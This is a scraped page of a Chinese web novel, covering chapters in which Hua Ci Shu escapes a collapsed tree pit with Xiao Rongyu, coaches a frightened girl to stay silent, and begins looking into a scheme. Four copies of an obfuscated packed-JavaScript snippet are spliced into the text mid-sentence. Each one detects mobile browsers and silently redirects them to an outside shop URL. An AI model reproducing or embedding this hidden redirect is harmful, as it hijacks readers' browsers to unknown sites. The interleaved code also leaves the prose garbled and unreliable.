萧容与神色微动,沉默片刻,也抬头望向树干,唇角勾起一抹若有似无的笑意,好似兴致盎然:“说来是巧,这样一棵百年古树,平日都好端端的,被我萧容与这么一靠,便靠倒了,连根下土层都能塌出这么一个大坑来……” 他轻轻啧了一声,“说不准,我还真是不祥之人。嫂——华大小姐是被我连累了。” 花辞树点点头:“不错。” 萧容与:…… “既然连累了我,作为补偿,你要答应我两件事。”花辞树顺势道。 萧容与嘴角抽了抽,眼中的兴味却愈发明显:“华大小姐请讲。” “第一,出去之后,你不可对任何人提起此事。你不曾来过树下,古树塌陷之事,也与你我皆毫无干系。 第二,小姑娘由我带走,等她醒后,我会教她说辞。出手救人的功劳,也只会算在我的头上。” 花辞树在意的,自然不是什么功劳。萧容与毕竟是个成年男子,她不可能放心将昏迷的小姑娘交到他手上,所以这件事,只能由她来担着。 萧容与挑了挑眉,仅仅沉默片刻,却没多问,只应了一声:“好。” 花辞树稍稍松了口气,此人虽看起来漫不经心,真要说到正事,倒是意外地爽快。 萧容与只稍作停顿,便话锋一转:“那么问题来了,若不靠外面来救,我们如何出去?” 花辞树将手枕在脑后,随口道:“等一刻钟,我会将树干踢断。到那时,便能出去了。” 这棵百年古树,足有三人合抱之粗,要将树干踢断,无异于痴人说梦。可她却神情从容,目光不经意落在坑底一侧的树根之上。 一张凡人看不见的仙符,正静静地贴在那里,细碎的灵光明灭流转。 ——枯萎符。 在一炷香的时间内,让一株植物迅速衰败,直至彻底枯死。 早在刚刚坠入坑底之时,花辞树便拈出符纸,轻巧地施了出来。到此时,一炷香时间已然过半。 再大的古树,也是一株植物。 生机断绝之时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491551|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再粗壮的树干,也不过是一具空壳罢了。 踢断古树不行,可要踢断松脆朽坏的树皮,对华姝而言却不算难事。 花辞树也没有想到,谢不言那三张废符,在刚刚下凡的第一日,便这样用掉了一张。 萧容与看着她,眼中的讶异一闪而逝。然而他仍旧没有多问,好似拭目以待一般,轻轻笑了一声:“华大小姐,果然并非常人。” 花辞树安然受下这句夸赞,却见他笑意一敛,接着开口:“既然还要等一刻钟,我正好有个问题想要请教。” “今日初见时,”他缓缓道,“华大小姐看我的眼神,似乎有些古怪。” 花辞树几不可察地蹙了蹙眉。 此人自现身起,便始终一副漫不经心的模样,像是对任何事都不上心,对她更是没有多看几眼,可此时此刻,却直截了当地问出了这样一个问题。 花辞树心知肚明,自己的眼神,当然古怪极了。 “没有,你多心了。”她面不改色道。 萧容与沉默一瞬,眉梢微微一挑:“其实,华大小姐看我兄长的眼神,也不大对劲。似乎……有冷淡,有防备?怎么看,也不像女子看未来夫君的眼神。” 花辞树心头不由一跳,这一次,她是真的出乎意料了。 若说萧容与出现得猝不及防,她难免露出了异样。可面对萧容时,她早有预计,更是特意控制了自己的神情,自问毫无破绽。 可这位萧二公子,还是察觉到了? 那么,他此前一口一个“嫂子”,莫非,也是在试探她的态度? 萧容与似是察觉到她的警觉,低低一笑,语气反倒缓和下来:“华大小姐对我母亲,是诚心敬重,方才帮我处理蛇毒,也是真心相助。为何独独对我兄长不喜?” 他顿了顿,神情竟显出几分难得的认真,“华大小姐若有顾虑,不妨直言,既然是一家人,便没有解不开的误会。” 花辞树看着他,神色一时间有些微妙。 直言? 就这样告诉他,他那位人人称颂的好兄长,会在十年后杀了华姝? 他是会相信一母同胞的亲哥哥,还是会相信一个满口疯话的陌生女人? 花辞树见他一副胸有成竹的模样,索性轻轻一笑,道:“是啊,早就听说萧容时一表人才,是最好的夫婿人选。” 她顿了顿,目光落在他脸上,从眉眼到下颌,慢悠悠地打量,“可今日一见,分明是你这个弟弟生得更好看,我自然就对他冷淡了些,看你的神情也难免会有异样了。” 萧容与:…… 空气仿佛凝固了一瞬。 萧容与的神情明显一滞,整个人都僵了一下,甚至超过了方才被毒蛇咬中的麻痹。 他沉默半晌,才吐出一句:“……华大小姐,是在开玩笑的吧。” 花辞树耸了耸肩:“是啊,开玩笑的。” 萧容与:…… 5. 凤凰 一场直指人心的问话,就这样被重重拿起,诡异放下。 直到一炷香已尽,萧容与也再未提起这个话题,只低头默默包扎了自己的手腕。 花辞树满意地笑了笑。 终于,头顶开始起了变化。 木质悄然开裂的细响清晰传来,萧容与眉梢一动,下意识抬眼。 横在头顶的树干,原本色泽深沉,纹理紧实,此刻却以肉眼可见的速度失了光泽。树皮边缘泛起灰白,细碎的裂纹蔓延开来,仿佛是错觉一般,一股淡淡的腐朽气息随之弥漫。 萧容与的目光缓缓落回花辞树身上。 “将小姑娘护好。” 花辞树将小姑娘抱到萧容与身侧,随即运气抬脚,重重踢向树干最靠近坑底的位置。一下,又一下。 “咔嚓”一声,枯败的木质骤然断裂,好似早已被风化了数十年一般,外壳瞬间崩碎,内部尽是空朽。大片树皮簌簌剥落,连带着横在坑口的树干猛地一沉,头顶豁然一亮。 两人早有准备,同时向另一侧闪去,避开了坠落的碎木与泥土。 萧容与望着已经露出大半的坑口,又看向那彻底失去生机的古树,最终将目光定在花辞树身上,眼底闪过一抹不加掩饰的震动。 沉默片刻,他低低笑了一声,声音里多了几分意味不明:“华大小姐说一刻钟后踢断树干,而一刻钟后,树便准时枯死,甚至朽坏至此,不知这是为何?” 花辞树面不改色地答:“因为你不祥,将树克死了。” 萧容与:…… 要从这个女子口中套话,怕是只有徒劳。他干脆站起身来,率先攀住粗糙的树干,脚下借着坑壁与树干的交错点,一点一点向上挪去。 看着他稳稳攀爬的背影,花辞树悄然向一旁让开半步。 在她脚边,赫然是一枚玉佩。虽躺在泥土之中,却仍透着温润沉静的光。精细的雕纹里,依稀是一个“萧”字。 ——萧容与的玉佩,在坠落之际被粗糙的树皮扯断,恰好挂在树干上,又在她踢树时,随着剥落的树皮,一并掉在了她的脚边。 那一瞬,萧容与在她身后,被她身形所挡,目光不及。而她略一挪步,便将玉佩踩在了鞋尖之下,直至此时。 区区一枚玉佩,便是再贵重,也入不了花辞树的眼。只是,萧府之物,留在手中,总有用处。 今日,宜遇蛇,宜掉坑,不宜拾金不昧。 天意如此,她先笑纳了。 花辞树心念转动着,自然地弯下腰,将玉佩拾起,收入袖中。 上方,萧容与刚刚攀至坑口,翻身而出。 他并未起身,而是俯下身来,单膝跪在坑口边缘,伸出左手—— “来。” 花辞树没有犹豫,她将小姑娘从地上背起,一脚踩上树根,一手托住孩子,另一手抓住了萧容与的手,借力向上。 袖中,那枚玉佩隔着暗袋,触感温凉。 身形刚一落定,便听萧容与低声笑道:“华大小姐,真是让我……大开眼界。” “我先走了。”花辞树神色如常,“记住你答应我的两件事。” 萧容与目光掠过那棵彻底枯死的古树,连原先茂密的枝叶,此时也落了个干净,只余满地枯枝败叶。 “今日之事,恐怕容与想忘,也忘不了了。” …… “小姐回来了,国公夫人还未来寻——” 厢房门被倏然推开,青岚随即起身相迎,视线刚刚抬起,整个人便像被雷劈了一般,定定地僵在原地。 “姑娘!”小丫头失声惊叫,“你不是去寺里转转吗,怎么去挖炭了!” 花辞树:…… 青岚整个人都不好了,原本一身素净的姑娘,此刻衣裙已脏得看不出颜色来,满身灰土,连发丝间都沾着泥屑,一张脸活像是从炭窑里滚出来的。 “我没有挖炭。”花辞树嘴角抽了抽。 能掉进塌陷的树底而毫发无损,已是不易。至于体面,暂时顾不上了。 她没有多作解释,先将背上的小姑娘放在了厢房的榻上。小姑娘从吓晕到现在,已经过了一炷香的时间,照理说,也该醒了。 青岚这才看到姑娘还带着个人,又惊叫一声:“姑、姑娘,你怎么还拐来一个小的!” 花辞树还未开口解释,小姑娘恰在这时轻轻一动,缓缓睁开眼。 “蛇、有蛇!”下一瞬,她猛地坐起身来,声音里满是惊惶。 花辞树上前一步,轻轻拉住小女孩的手,语气平稳:“别怕,已经没事了。” 小女孩的目光这才聚焦到花辞树脸上,她愣愣地看了片刻,恍然道:“我记得你,你也在树下,和捉蛇的哥哥一起来的!” “什么蛇?什么哥哥?”青岚的声音一浪高过一浪,只觉脑瓜子嗡嗡作响。 花辞树静了一息,才道:“不错,毒蛇暴起伤人,是那位公子出手将蛇捉住,才救了你一命。你晕倒后,是我背你回来,打算等你醒了,便带你去找家人。” 小姑娘脸色仍有些发白,又愣神片刻,规规矩矩做了个揖:“多谢姐姐,待我回去与家人说明缘由,家中必会重礼相谢姐姐……还有那位哥哥。” 小姑娘虽惊魂未定,却仍懂礼数,说出的话也有条有理。 花辞树微微眯眼,记忆不由一动。 先前在树下时不曾细看,此时说了这几句话,她才忽然想起,这小姑娘,华姝后来是认得的。 ——相府二小姐,裴知仪。 同在晏京权贵圈中,虽因年纪相差,并无深交,却难免在各种场合见过。印象里,这是个活泼爱玩闹的小姑娘。 相府家教极严,规矩甚多,偏偏出了这么一位顽皮的二小姐,从小便没少被丞相责罚。 这一刻,花辞树更加明白了小姑娘脸上的惶惶不安。 她语气放缓了几分,问道:“你先同我说说,你这样小的年纪,为何会一个人跑到后院去?” 小姑娘犹豫了一下,才小声道:“念经实在无趣,我才偷偷跑了出去……结果听见两个和尚闲聊,说后院的祈福树上落了只凤凰,可真是百年难见的稀罕事…… 听说凤凰是神鸟,漂亮极了,我还从未见过,便连忙跑去看。谁知找了半天,也没瞧见。许是早就飞走了吧……” 花辞树眉心微动,想起初见小姑娘时,她绕着古树来回转悠,不时仰头看向树冠……心下已然明了。 凤凰…… 骗得了小孩,可骗不了她这个仙界之人。 小姑娘,是被人有意引到那里去的。 花辞树心念一转,话已在心中成形。她面色忽而严肃两分,道:“小姑娘,你可知,在你吓晕后,都发生了什么?” 裴知仪愣愣地眨了眨眼:“什么?” “救你的那位公子,是靖国公府上二公子,国公夫人最疼爱的儿子。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491552|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了救你,仓促间被毒蛇咬中,身中蛇毒。国公府此刻,恐怕已经乱作一团了。” “什么!”裴知仪惊叫一声,脸色骤变,“糟了,糟了……那我家……” 花辞树清了清嗓子,沉声继续:“更糟的是,那蛇被甩到地上,竟还没死,还要再度伤你。我抱着你在地上滚了好几圈,就在危机之时,树顶飞下来一只凤凰,替你挡了一下。 结果,那凤凰也被毒蛇咬死,和毒蛇同归于尽了。” “什、什么……”裴知仪脸色越来越白,“凤凰还在树上?凤凰死了?” 花辞树点了点头,神色沉重:“凤凰乃祥瑞之鸟,数百年难得一见。今日现世,本是我朝大吉之兆,却偏偏成了大凶。 最可怕的是,凤凰一死,那棵祈福树竟瞬间开始枯萎,眼看着绿油油的枝叶掉了一地……我急着背你回来,没有多留,也不知后来怎样了。” 花辞树啧啧摇头,一脸的心有余悸。 裴知仪已经彻底吓呆了,几乎带了哭腔:“糟了,糟了,要不是我跑到那去,也引不出这么多事……爹爹一定要打死我了……呜呜呜……” 孩童便是如此,哪怕只是一点小事,也会觉着天塌了一般。更何况,这本就是天大的事,足以让一个孩子心神俱乱,乖乖听话。 花辞树轻咳两声,柔声道:“你先别怕,我已经求过萧二公子,看在你年纪小的份上,莫要牵出你来。若有人问起,他只会说,是自己在草地里遇蛇,被咬了一口,与旁人无关。” “那凤凰怎么办!”小姑娘仍旧一脸惊慌,“那些和尚见凤凰死了,肯定要查的!” 花辞树微微一顿,似在认真思忖:“祥瑞横死乃大凶,他们必定不会声张。只是那棵古树太过显眼……恐怕他们想瞒,也瞒不住啊。” 眼见小姑娘脸色又白了几分,花辞树话锋忽而一转,“好在,只要我们不说,没有人知道这些事都与你有关。 等你家人问起,你便说是去后山玩耍,不慎从坡上滚了下来,被我捡到救了回来。记住了吗?” 裴知仪用力点头,还不放心道:“可是……那位萧二公子,真的会替我保守秘密吗?” “当然。”花辞树答得笃定,“说到底,你也只是一时贪玩,谁想会遇到毒蛇。” 她轻轻叹了口气,语重心长地叮嘱:“往后再出门,千万莫再甩开家人,自己乱跑了。” 裴知仪连连点头,眼中仍带着泪光,已是彻底信服。 花辞树不动声色地收回目光。 这种贵人常来的寺庙,本不该出现毒蛇。 既然有人刻意将小姑娘引到古树旁,那条蛇,恐怕也并非偶然。 好在经此一事,加上她天花乱坠的吓唬,小姑娘必定会规矩一阵子了。 等裴知仪彻底平静下来,报出相府厢房所在。花辞树才派出早已目瞪口呆的青岚,去那里找人,带着干净衣裳来接二小姐。 趁青岚去叫人的工夫,花辞树也简单换洗一番,这才迎来急匆匆赶到的相府夫人。 相府夫人对花辞树连连道谢,一番盛赞,待看向自家女儿时,转眼便成了一脸恨铁不成钢的无奈:“你啊你!你大哥大姐都那般规矩,我怎就生出你这么个小祸害!” “母亲,知儿知错了。”裴知仪老老实实低头认错。 相府夫人显然余怒未消,接着教训:“听说国公府二公子刚在寺里遇了毒蛇,看你还敢乱跑!” 6. 草包 小姑娘面色微变,下意识抬眼看向花辞树。 花辞树不着痕迹地点了下头,递出一个笃定的眼神。 裴知仪心中顿时安稳下来,再次低头,乖觉认错:“母亲,知儿再也不敢了。” 丞相夫人见女儿难得这般顺服,当着外人的面,也不好再多教训什么。对花辞树又一番感谢之后,便带着换洗妥当的女儿匆匆离去了。 “青岚。”花辞树淡声吩咐,“今日之事,不可对任何人多说半个字。” 青岚早已震惊不已,连连点头:“是,姑娘。” 这种不吉利的事,可万万不能和姑娘扯上一丝一毫的联系啊! …… 傍晚。华府。 花辞树坐在桌旁。 在她手中,捻着一角衣料。 那是裴知仪换下脏衣时,她趁人不注意,从被树枝勾破的衣角上撕下来的。 衣料早已脏污,看不出原先的绣纹,花辞树的目光却沉沉落在上面。 抱着小姑娘坠入坑底后,她便觉出了一丝不对。 ——气味。 并非寻常脂粉香,也不像寺中常用的檀香,好似隐隐带着一点腥气,又被甜香刻意掩过,乍闻之下并不起眼。 经过半日,到此时更是已经散尽。 可花辞树仍在衣料褶皱之间,发现了一点不同于普通灰尘的细小粉末。 那并非什么毒药,只是一种极淡的腥香粉。这种腥气对蛇类而言格外刺鼻,正是它们最熟悉的猎物气味…… 果然有人要害她。 突兀的毒蛇,虚假的“凤凰”,致命的腥香粉…… 当然,还有那棵古树……想必,也不是萧容与那倾身一靠,便能靠倒的。 可在前世记忆中,从未听闻相府二姑娘被毒蛇所伤,那小姑娘直到后来也活得好好的。 灵安寺的祈福古树,更是从未倒塌…… 继萧容与的出现之后,这么快竟又发生了新的变化。 这一切,究竟是怎么回事? 花辞树指腹轻轻摩挲着那截衣料,轻声唤道:“绛雪。” 话音刚落,绛雪已应声上前:“婢子在呢,姑娘吩咐。” “请宋嬷嬷来一趟,我有些话要问。”花辞树道。 宋嬷嬷,是这座府邸真正意义上的“管家”。 镇关侯爷虽长年镇守边城,但先皇当初为示恩宠,给华嵘在晏京亲赐了镇关侯府。偌大一座府邸,虽空置着,也不能没人照看,否则既失体面,也显得对皇恩怠慢。 宋嬷嬷原是华姝母亲在世时的陪嫁。华姝的母亲在生下华姝后不久便病故了,宋嬷嬷与夫人多年情分深厚,一度伤心欲绝。 华嵘伤怀之下,索性将宋嬷嬷派到了晏京侯府。 一来,由她帮着打理府邸。 二来,华姝和靖国公府有娃娃亲,是要嫁到晏京,做国公府长媳的。可她自小在边城长大,华嵘自然不放心。而宋嬷嬷忠心又能干,便能做她最得力的左膀右臂。 于宋嬷嬷而言,到晏京为华姝的未来铺路,便是她能为已故主子做好的最后一件事。 是以,她将全部心力都投在了这里。来了之后,从未懈怠一日,将府里打理得井井有条,对晏京各家大族、人情往来,亦如数家珍。 只不过,这位宋嬷嬷,认真严谨,近乎刻板,华姝前世刚来时,没少在她手下受规训。 不多时,宋嬷嬷便被绛雪请到了跟前。 花辞树也不绕弯子,开门见山道:“宋嬷嬷久居晏京,见多识广,有些关于靖国公府的事,我想向嬷嬷打听一二。” 宋嬷嬷微微一怔,随即露出欣慰之色:“前几日姑娘初到晏京时,老奴便想对姑娘一一交代清楚,可惜姑娘不耐烦多听,没想到今日灵安寺一见,姑娘竟主动来问。 看来姑娘对世子爷满意,对这桩婚事上了心。老奴便也放心了。” 宋嬷嬷一派老怀安慰的感慨,语气愈发熟稔,“对靖国公府,老奴这些年自然一直留心着。世子爷自幼习文习武——” “咳咳。”花辞树轻咳两声,打断了宋嬷嬷的娓娓道来。 她也没想到,自己还没真正发问,这位嬷嬷便如同良师找到了好学生一般,如此急着倾囊相授…… “嬷嬷。”花辞树不紧不慢地开口,“我想问的,是二公子萧容与。” 一瞬间,宋嬷嬷的神情僵在了脸上:“姑、姑娘,你……” “嬷嬷莫要多心。”花辞树嘴角抽了抽,“我只是纳闷,今日相看,为何二公子也会同行?而且这么多年,我怎么从未听说国公府还有位二公子?” 宋嬷嬷好似大大松了口气,缓了片刻,才道:“姑娘有所不知,这位二公子,说来的确颇为波折。” 花辞树向后靠上椅背,悠然道:“我就爱听故事,嬷嬷尽管与我从头说起。” 看着花辞树那大大咧咧的模样,和一脸看热闹的兴致,宋嬷嬷一时愁上心头。静了片刻,才认命似地开了口:“说起来,二公子倒也可怜,早在两岁那年,便走丢了。” “哦?”花辞树眉梢微微一挑。 两岁走丢,这一点,倒是与前世并无不同。 “那之后,国公夫人几乎急疯了,重金悬赏,求神拜佛,能找的地方都找了。”宋嬷嬷长长叹息一声,“直到三年前,忽然有个少年找上了国公府。” 花辞树目光一动,低声道:“难道,就是他?是他自己找到国公府的?” “不错。”宋嬷嬷一脸唏嘘地点头,“听说,萧二公子走失后,辗转被几户人家收养又抛弃,最后流落成了小乞丐……唉,说来可怜啊。” 宋嬷嬷稍稍一顿,话锋一转,“总之,国公府公开宣布,找回了二公子。虽然二公子那年已经十五岁了,不可能看出幼时的模样。可国公府如此认定,外头一些风言风语,慢慢也就散了。” 花辞树沉吟片刻,喃喃道:“依宋嬷嬷看,国公府找回的这位二公子,是个怎样的人?” 宋嬷嬷方才松的那一口气,顿时又提了起来。她仔细打量了花辞树一眼,小心谨慎道:“姑娘为何不问世子爷,反而总绕着二公子问话?” 花辞树若无其事道:“萧容时的为人,我早听人说过无数次了。倒是那个萧容与,看起来与他哥哥不大一样。” “那是自然!”宋嬷嬷立即附和,“那位二公子,如何能与世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491553|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子爷相提并论?” 花辞树挑了挑眉:“嬷嬷何出此言?” “萧二公子十五岁才回到国公府,做了多年乞儿。虽说英雄不问出处,可毕竟开蒙太晚,文不成武不就。满晏京谁人不知? 再加上,国公夫人对这小儿子多有歉疚,如今好不容易找回,简直捧到了心尖上。便是萧二公子要天上的月亮,国公夫人恐怕也要闹着萧国公,去给儿子摘下来。” 宋嬷嬷叹息着摇了摇头,“当着姑娘,老奴便说句僭越的。常言道,慈母多败儿……被国公夫人那般惯着,也难怪萧二公子会养成那般无法无天、又不学无术的霸王性子了。 不过,姑娘倒是不必担心,婆母慈爱是好事。往后嫁到国公府,离这小叔子远些便是了。” 花辞树垂眸,掩住了嘴角的轻笑。 不学无术?无法无天? 且不说他捉蛇时的身手,救人时的果决,遇险之际的云淡风轻…… 花辞树可是看得清清楚楚,后来他离开前,还特意捡起了死蛇。 他被毒蛇咬伤之事,难免会传出去,若塌陷的古树旁恰好有条死蛇,必定会联系到他身上。 他彼时刚从树坑脱身,还身中蛇毒急需救治,却仍能顾及这些细枝末节,不忘善后。 这样的人,怎么可能是宋嬷嬷口中那“文不成武不就”的草包? 许是见花辞树无甚反应,宋嬷嬷忍不住道:“姑娘莫不信,这晏京谁不知道,国公府失而复得的二公子,可是最惹不得的人物——整日游手好闲也就罢了,见谁不顺眼,上去便打一架。这两年来,被他揍过的公子哥们,两只手都数不过来。 听说前些日子,他在城里骑马,还险些撞了人! 这不,如今连国公夫人都看不下去,张罗着要给二公子议门亲事,好叫他收收心了。” 宋嬷嬷好似忽然想起什么,“对了,姑娘方才问,今日相看,为何萧二公子也会随行。恐怕便与此事有关。 老奴听过些风声,说国公夫人已经相中了二儿媳,今日带萧二公子去灵安寺,也是一并相看的。” 花辞树静静听着,心头忽而一动:“国公夫人看中的,是——” “听说是相府。”宋嬷嬷答得干脆,“相府大姑娘裴令仪,名满晏京的第一才女。” 裴令仪……裴知仪小姑娘的姐姐? “若说国公夫人,对二公子是真疼啊。相中裴大姑娘,明摆着是想让她相夫教子,将二公子引入正途。 可惜了裴大姑娘……那样的出身与才名,原本便是配皇子,也是能做正妃的人选。 相比起来,还是我们姑娘命好,嫁给世子爷,那真是顶顶好的姻缘了……” 宋嬷嬷仍旧絮絮叨叨地感慨着,花辞树的心思却早已飘远。 国公夫人要给萧容与议亲,议亲的对象是相府大小姐。 而今日在灵安寺,被人蓄意加害的,正好便是随姐姐一道前去的相府二小姐。 本不该出现的萧容与,和本不该被害的裴知仪…… 与前世截然不同的两处变化,竟然如此微妙地连在一起了。 难道这些事情之间,竟都有千丝万缕的关联? 7. 调查 花辞树手指轻叩扶手,抬眸道:“我听说,萧二公子今日在灵安寺被毒蛇咬伤,劳宋嬷嬷明日出去打听一番,灵安寺究竟发生了什么?” 她自然是想打探那棵古树,虽不便指的太明,可只要去打听灵安寺,总会有消息。 宋嬷嬷不愧是边关出身,听到毒蛇也丝毫不慌。只是再次盯紧了花辞树,愈发一脸担忧:“姑娘……似乎对二公子……太过关心了些……” 她迟疑了一下,又低声道:“听闻萧二公子确是难得一见的美男子,可——” 花辞树径直打断了她的劝诫:“我今日毕竟也在灵安寺,看在国公夫人的面上,于情于理,我总该关心一二。” 宋嬷嬷将信将疑地看着花辞树,似是要在她脸上看出一朵花来。 花辞树恍若未觉,只理直气壮地叮嘱:“凡是与今日之事有关的,无论是灵安寺,还是国公府和相府的动静,嬷嬷尽管都去打听。若有消息,便来禀我。” 待宋嬷嬷心事重重地告退离开,屋中便只剩绛雪侍立。 这丫头不似青岚那般好奇心旺盛,性情也稳当,于花辞树而言,倒是省事。 “绛雪,照着这张单子,替我准备些东西。” 花辞树从袖中拈出一张纸笺递给她。 “明晚,我要出门一趟。” …… 靖国公府。 夜色下,卧房内灯火未熄。 萧容与立在窗前,衣襟微敞,月色落在他肩侧,将人影拉得修长。 他的手指在腰间停了片刻,本该悬着一枚玉佩的地方,此时空空如也。 萧容与神色未动,若有所思。 “诶哟,我的爷!您这不是刚被蛇咬,怎么还不躺着哟!”一道夸张的声音一惊一乍地响起。 萧容与踱了两步,在桌旁坐下,按了按右手腕上重新包扎妥当的白布,连眼皮都没抬一下:“少贫嘴,让你打听的事,打听得如何了?” 一个小厮模样的年轻男子在萧容与面前站定,随手做了个不怎么规矩的揖,才道:“爷,打听消息这种事,我砚青什么时候掉过链子。” “说。” “如爷所言,灵安寺的确已经乱了。”砚青不紧不慢地说,“那么大一棵祈福古树,说倒就倒了,那动静,想瞒也瞒不住,估摸着到了明日,整个晏京都得传开。” 萧容与神色未变,只接着问:“可有打听到树倒的缘由?这种百年古树,理应根系极深,风雨不动,如何能被我一靠,便靠倒了。” 砚青嬉皮笑脸道:“那不是显得爷力气大么。” 萧容与侧目。 砚青连忙识趣地摊了摊手:“灵安寺后院已经被封了,据说他们寺里也在查。小的没法靠近,只隐约听见他们提了几句什么……蚁穴之类的。” “蚁穴?”萧容与轻嗤一声,“蚁穴最会腐蚀树根。可偏偏不早不晚,正赶上我?” 砚青眨了眨眼:“要么说,爷是天纵奇才。” 他刚贫了一句,便旋即正色道:“对了,寺里那帮僧人,一个个脸色都不大好看。按理说,出家人超脱世外,心如止水,不该这般惶然。 小的便留心多听了几句,听见有人说什么‘枯树异象’、‘上天示警’、‘恐有大灾’,说得煞有介事。小的实在不明白,他们未免也太小题大做了……” 萧容与忽然笑了一声:“那棵树,不只是倒了,还在顷刻之间,彻底枯死了。” “什么?”砚青震惊,“古树不但被爷靠倒了,还被爷……克死了?” 话音未落,另一道轻飘飘的音色,忽然在萧容与耳畔回响—— “因为你不祥,将树克死了。” 萧容与眼前仿佛掠过一道身影,嘴角微不可察地一抽。 砚青仍旧瞪大着眼,喃喃道:“不过……这么大的事,竟没牵连到爷?也真是万幸了。” 萧容与没有接话,脑海中却仍是那道身影。自始至终,女子始终神色平静,眼底不见半分惊惶,仿佛一切都在意料之中。 虽然不知她是如何做到的,但萧容与几乎可以断定,祈福树的枯死,与华姝脱不了干系。 她的确说过,会教小姑娘说辞。可也不知她用了什么法子,竟能让那么小的孩子乖乖照她的话行事,将此事瞒得滴水不漏。 至少直到此刻,天色已黑,也没有人将那棵树,与萧府、华府,或相府联系在一处。 她似乎,总是很有办法。 砚青见萧容与沉默良久,神色深沉,琢磨着开口:“爷若怀疑是人祸,小的会多盯着那棵树,看灵安寺接下来如何处置,一有机会,便设法查探。” 如何处置?萧容与轻轻一哂。 朝廷不愿民心动荡,寺庙不愿被施压追责,有心人更不愿事情闹大。 他摇了摇头:“这条线,不必再管。能在灵安寺神不知鬼不觉地掏空树根,再移来蚁穴掩人耳目……这样的人,不会把线索留在树上。” 不该倒塌的古树,不该出现的毒蛇…… 还有那个站在树下的小姑娘——一个七八岁的孩子,又有什么理由,会被这样处心积虑、环环相扣地针对? 砚青闻言,倒也并不在意。 他耸了耸肩,却听萧容与接着开口:“还有另一件事,要你去做。” 砚青一怔,随即道:“爷尽管吩咐。” “去查一个人。” “哦?”砚青眼睛一亮,下意识搓了搓手,“爷又想揍人了?这回是哪家纨绔?” “镇北侯府。”萧容与道,“定北大将军之女,华姝。” 砚青愣了一下。 这个名字,他并不算熟,可那一串头衔在嘴里转了两遍,他忽然反应过来:“镇北侯府?那不是……咱们国公府未来的亲家吗?” 砚青猛地抬头:“爷说的,是世子爷那个未婚妻?” “不错。” 砚青目瞪口呆,眼睛直勾勾地盯着萧容与,好半晌才找回声音:“爷……你这出门相看,怎么相中未来嫂子了?” 话音未落,萧容与已抬脚踢了他一下。 “去你的。”他语气不善,“让你查,你就查,少嚼舌。” 砚青揉着小腿,仍旧忍不住嘀咕:“可她不就是侯府姑娘么?爷究竟想查什么?” 萧容与沉吟片刻,脑海中,再次浮现出那双眼睛。灵巧,清澈,波澜不惊。 虽在初见时,明显多盯了他几息,可那目光坦然直白,更像是某种审视。他自问与她并无旧怨,心中也并不介意。 可唯独在看向兄长时,那双眼睛,竟似带着一丝若有似无的……敌意。 “关于她的一切。”萧容与道。 砚青一怔。 “她从前在边城的事。”萧容与继续道,“她的为人,行事风格,关于她的所有传言。” 砚青眼睛越瞪越大,终于意识到萧容与并非随口起意,良久,才低声道:“爷要查未来嫂子,这事可万万不能走漏风声。交给旁人,总不放心。” 他心中迅速盘算了一番,道:“怕是得我亲自跑一趟边城。快马加鞭,加上查访,来回也得十余日。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491554|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 萧容与点了点头。 砚青咧嘴一笑,又恢复了那副没心没肺的样子:“爷在晏京可要好好的,有事去找阿七,小的走前会嘱咐他。” “对了!”转身离开前,砚青又想起什么似的,一拍大腿,“差点忘了正事!” 萧容与眉头微挑:“何事?” “相看啊!”砚青一脸兴奋,“听说那位裴大姑娘才貌双全,爷又如此丰神俊朗,这么一见,亲事可不就定下了!这可是爷的大事,我砚青——” 话音未落,萧容与已经又是一脚过去:“去你的亲事!也不动动你那脑子想想,今日这一相看,我被毒蛇咬伤,祈福树都塌了,如此一连串大凶之兆,我母亲怎么可能还会继续谈这门亲事?” 砚青一怔,登时一脸惋惜:“原以为爷没被牵连,看来还是沾上了晦气。” 萧容与啐了一声:“晦气什么,我倒觉得正好。” “怎么?”砚青眼睛一亮,立刻凑了过来,“爷没相中裴大姑娘?” 萧容与没有答话。 